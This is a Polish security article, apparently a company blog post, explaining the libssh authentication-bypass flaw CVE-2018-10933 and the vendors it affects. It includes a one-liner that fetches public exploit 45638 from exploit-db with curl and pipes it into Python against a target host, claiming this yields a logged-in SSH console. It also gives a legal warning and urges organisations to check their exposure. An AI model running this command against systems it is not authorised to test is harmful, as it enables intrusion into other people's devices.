LibSSH jest biblioteką stojącą w podstawie działania pokaźnej ilości urządzeń widocznych w Internecie. Są to zarówno rozwiązania bezpieczeństwa jak i serwery oraz routery.
Czy wydaje Ci się niepokojące jeżeli twój router, urządzenie od poważnego dostawcy prowadzi taki dialog podczas zestawiania połączenia z wykorzystaniem zdalnej konsoli SSH:
- S: Who are you please logon:
- U: root@serwer.ip.address
- S: Hello root please authorize yourself, write your password:
- U: I don't need a password
- U: I have authorisation to entry
- S: OK !!!!! great …. come in and have fun.
- U: copy running-config ftp…
Wpuszczenie kogoś jeżeli ten wyśle odpowiedź SSH2_MSG_USERAUTH_SUCCESS
zamiast SSH2_MSG_USERAUTH_REQUEST
? „hello! coś tu nie gra…”
Cała historia wygląda jak jeden z typowych wymysłów specjalistów ds. bezpieczeństwa podczas kolejnego nudnego wykładu. Tym razem jednak mówimy o podatności z połowy października 2018 roku, kiedy to duża ilość sprzętu wykorzystującego libssh została dotknięta pewnym problemem.
Podatność CVE-2018-10933 - Bypass SSH Authentication - libssh vulnerability pozostawia bez odpowiedniej ochrony urządzenia Cisco, dystrybucję Debian i Ubuntu, urządzenia firmy F5 i wielu innych producentów rozwiązań opartych o Linux: Cisco Security Advisory LibSSH, K52868493. Oczywiście nasuwa się inne pytanie: kto i po co do diaska zostawił ssh routera brzegowego otwarty do „brudnego” Internetu … „NIKT” ??
To pytanie pozostawiam drogi czytelniku twojej rozwadze.
Tematem tego artykułu jest przede wszystkim prezentacja eksploita na tą podatność. Eksploit jest to rodzaj programu, który potrafi wykorzystać podatność - w naszym przypadku na libssh. Program który może być wykorzystany do ataku jest opublikowany w bazie podatności: Exploit 45638. Sam skrypt nie jest skomplikowany – dosłownie kilka linijek pozwala na proste wykonanie zapytania do wskazanego urządzenia, serwera. Parametry konfiguracyjne i jego budowa umożliwiają wykorzystanie skryptu przez nmap i wykonanie skanowania szerszego spektrum przypadków w naszej organizacji.
Skrypt napisany jest w jednym z najprostszych języków programowania, czyli w Python wersja 3. Do poprawnego działania skryptu konieczne jest dodanie wykorzystywanego pakietu/biblioteki paramiko. Możemy to zrobić poleceniem:
pip install paramiko
Uruchamiamy zapisany plik Exploit 45638 (raw) pod linux poleceniem curl:
curl -s https://www.exploit-db.com/raw/45638/| python - --host myserver-jestpodatny.com --port 14322 --log /tmp/output.txt
w odpowiedzi otrzymamy zautoryzowaną konsolę na uprawnieniach SSH…
Proste?
Drogi czytelniku właśnie stałeś się hakerem, a twoje urządzenie ma podatność CVE-2018-10933. Zanim jednak przyjdzie Ci na myśl wykorzystanie zdobytej tu wiedzy do włamania na nienależące do Ciebie urządzenia, polecam szczegółową analizę działu XXXIII w kodeksie karnym. Wskazuje on między innymi, że za niezamówione testy penetracyjne grozi od 3 miesięcy do 5 lat więzienia na podstawie art. 269b.
W ostatnich dniach wielu producentów i integratorów weryfikuje czy ich system jest podatny. Koniecznie trzeba zwrócić uwagę że sprawdzenie podatności może wymagać zweryfikowania różnych portów na których może nasłuchiwać podatna usługa ssh przez aplikacje z użyciem libssh.
Zachęcam do przekazania informacji, że taka podatność może zagrażać zasobom informatycznym organizacji do działów bezpieczeństwa w waszych firmach.
O autorze:
Architekt w ClearSec sp. z o.o.
Ekspert bezpieczeństwa z 22 letnim doświadczeniem w pracy w sektorach telekomunikacji, rozwoju oprogramowania, testach, audycie oraz reakcji na incydenty bezpieczeństwa. W swojej karierze zawodowej pracował w firmach prywatnych oraz administracji centralnej jako analityk. Od 15 lat zorientowany na bezpieczeństwo systemów IT oraz organizacje przedsiębiorstwa w zakresie IT Governance, swoją wiedzę z zakresu IT security certyfikował w zakresie:
- profesjonalnego zarządzania bezpieczeństwem (CISSP),
- audytu systemów i procesów (CISA),
- reakcji na incydenty oraz zarządzania sytuacjami kryzysowymi (GCIH),
- testami penetracyjnymi oraz zarządzania podatnościami (CEH).
W ostatnich latach związany z największą społecznością skupiającą specjalistów ds. bezpieczeństwa ISSA Polska jako wiceprezes zarządu. Jego doświadczenie bazuje na powoływaniu i koordynowaniu pracy zespołów zorientowanych na zarządzanie incydentami. Na co dzień pracuje z największymi polskimi organizacjami budując jako zewnętrzny konsultant dojrzałe procesy zarządzania incydentami oraz wspiera w redukowaniu powierzchni cyber-ataku. Realizuje to wykorzystując praktyczne umiejętności z zakresu Architektury Korporacyjnej opartej o ramy TOGAF.
Dodatkowo legitymuje się certyfikacjami: ITILv3, MOR, PRINCE, ISO22301, ISTQB-ISEB Certyfikowany Tester.
O firmie:
Firma z kilkuletnią tradycją zajmującej się budową Security Operations Center w modelach MSSP oraz „on premise”. W szerokim wachlarzu usług związanych z reakcją na incydenty bezpieczeństwa, analizą architektury bezpieczeństwa, wyznaczania powierzchni ataku czy modelowania zagrożeń, jest dystrybutorem rozwiązań zarządzania ryzykiem, organizacją oraz zgodnością czy rozwiązań typu SOAR.